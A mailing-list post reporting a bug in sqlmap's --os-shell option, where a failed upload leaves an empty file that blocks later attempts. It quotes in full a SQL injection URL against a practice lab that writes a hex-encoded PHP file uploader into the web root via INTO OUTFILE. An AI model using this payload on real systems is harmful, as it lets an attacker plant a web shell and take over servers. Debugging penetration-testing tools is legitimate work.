[sqlmap-users] SQLmap --os-shell BUG

[Danux <da...@gm...>]

Hello list, there is an issue with sqlmap when using the --os-shell option
in version sqlmap/1.0-dev and MySQL: 5.5.35-0+wheezy1 (Debian)

Description:

A specific PAYLOAD (see below) used to upload a web shell will create an
empty file e.g. tmpbezff.php, this will cause that every subsequent PAYLOAD
attempt will fail with an "already exist" error and therefore not able
to upload the web shell.

http://OwaspPractice/injection/lessons/lesson03/index.php?code=NTGRWNR%22%29%20LIMIT%200,1%20INTO%20OUTFILE%20%27/var/www/OwaspPractice/upload/tmpupjed.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f4f7761737050726163746963652f75706c6f61643e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--+

By default, MySQL will throw an error if the file already exists:

mysql> select 'ss' into outfile
'/var/www/OwaspPractice/upload/tmpbezff.php';
ERROR 1086 (HY000): File '/var/www/OwaspPractice/upload/tmpbezff.php'
already exists

Solution:

1. Change the web shell name for every new PAYLOAD attempt, at least when
using the -os-shell option
2. Fix the PAYLOAD causing problems.

-- 
DanUx